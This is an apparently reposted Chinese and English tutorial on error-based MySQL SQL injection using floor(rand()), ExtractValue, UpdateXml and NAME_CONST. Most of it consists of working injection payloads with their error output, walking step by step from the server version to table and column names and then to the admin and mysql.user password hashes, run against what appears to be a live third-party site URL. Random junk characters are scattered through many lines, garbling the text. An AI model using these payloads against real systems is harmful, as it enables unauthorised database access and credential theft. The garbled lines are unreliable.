mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
/ N- E  L) A9 z4 o* e3 E+—-+——-+———+
& m7 z) N  b: Y- s2 m| id | title | content |
" n* T7 l3 J5 @8 s9 P. O+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
# o( {6 T  o9 `% K: {' B例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
( [2 p& O1 Q3 b. B. j* wERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
9 D4 G! d; ]- j% P0 dERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

8 m+ i" o! ~: ?  x$ H/ O4 N) q0 o
- {9 q. F* j  {# `' Y. m7 Z

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
/ J) {' r9 L3 X' e6 c; ^; ]
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
. j$ y+ K0 q% h/ |+ ^. }' x2 H
' I7 Z: r% ^" ^+ \http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

3 ]( I5 e$ Y2 s1 f: }3 K) v* ^; HMYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
$ U( j' F( N; L
Code:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
: G% C6 f8 {) l; z" b4 a4 C
' G  q7 t8 ?7 t: C" K- V0 ASELECT NAME_CONST('TEST', 1)
- }# _, ]* y  ?6 K# y/ ?/ F
; r# L$ o; y  `+ S) B& m$ a" K& m

|---------------|
' e9 \: r' z; u0 N|     TEST      |
. q& v7 t" Y* ?( v/ \( m|               |
5 A$ c- v0 o  R9 I; e7 B  b4 a|---------------|
8 x# o. l! l2 {8 l|       1       |
|               |
|---------------|
  m0 u! i5 q" X( \  s1 e



9 G  X' `. j/ [7 B, ^0 w: S- Whttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

7 s/ m' ~0 @4 n6 LCode:
  g& V: M# u9 O# Ahttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261


& ]) s0 `( ]) ^1 ~


2 d7 u* Y. ]" I, A7 Z& RCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


. h/ m* u/ S" t# c! kVAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

, |% N& M6 d( w5 N9 P2 NLet's try it out on my site..

, y% A7 w8 Z4 \" n) QCode:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
# R0 s% z" u. s" d6 c
Erroruplicate column name '5.0.27-community-nt'
$ d5 E" E6 B3 u$ ]
, X2 A; @9 K1 ~
9 o, h( y- ^3 W
0 G, [" T7 @# ~/ H! z. Q
: Q/ m6 z" d' g
7 @$ e2 \6 X: Y& A$ TNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
9 s3 r7 r' R: }% ?* r/ p( T& f
+ c  g5 e" Y# W* t4 nData Extraction
8 N5 g; G% Z" C% M; J
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
4 j: K; m1 d( D" g+ X& v
* }$ n! y" [/ G' j- x7 G
* S: [; x4 D! I+ @* ^We should get a duplicate column 1 error...
1 Z+ s3 {8 \# e" J0 f' V) Z
4 l: o8 M. Q/ t2 m2 p; m' E9 aCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

  i; E9 n7 x; V; B1 A& T& c$ SErroruplicate column name '1


, m# g4 j$ e  y* q( _( t3 x  Z! k
* q6 W8 d( K4 c  g! E' K" s


  L4 u# E  C; L& C7 ^7 A! ^Now let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


, [+ O1 S! d* B" M  KLet's see if it works here, if it does, we can go on and finish the job.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Erroruplicate column name 'com_admanage
* N# v; J  o3 P) @9 j
5 J- k. K& K1 [" S
8 e# }7 o# W% d. h7 W3 `

( H7 D5 ?9 D- M

. C  K* _; i% S  z! z) K& D5 e: F/ Y% hNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

3 H6 N; P( z; O2 E! r& Z0 D  O- q8 Z8 jLet's get the columns out of the user table..

  v+ }* U7 P; }# `. Q0 A! ACode:
0 [8 p. P3 h: S% H5 @2 A; y+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


/ M" r, L4 F6 i2 h9 z6 lSo mine looks like this, and I get the duplicate column name 'Host'.
$ T: H3 ?; V; P' r# J1 P7 S. q
. E8 d/ o* n  D, ]' H6 v& [- SCode:
" D* q/ k' u; H5 s9 ]http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
6 A* f/ j" E+ \3 M9 u% N9 [( b. P
6 o9 e! N. s; m! p4 NErroruplicate column name 'Host'
, A* w& c. w. q  G( b6 l( w7 q7 X

- X- I1 `# \9 z9 ~% p. P2 ^

1 `( o+ @5 [& i: F

' A. D3 @/ n$ ^8 v/ eWoot, time to finish this bitch off.
! b, e- z8 x4 \( X! x) ]
Code:
# c8 S' ]( b) R+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
4 J- V( D* ]/ U0 m9 B% B; z
; H1 I# V1 F7 q" i
So mine looks like this...
+ t2 Y6 j  L/ D* O7 V
% t( x; k4 f) @5 z5 [! eCode:
& W/ V. c5 ?% |2 X) ]/ r' N" N& B' T1 n6 qhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
6 y; ^  N# N; Y7 }
. n& S4 q4 t, t1 WErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
. h6 g/ Q8 t9 C


, |) e' B, x# \1 A

, M( L6 M0 _5 c/ ~1 L: }
$ E# [, u; _- x, ~; I/ k% CAnd there we have it, thanks for reading.
6 A3 _9 A% Q; Y" A! m2 |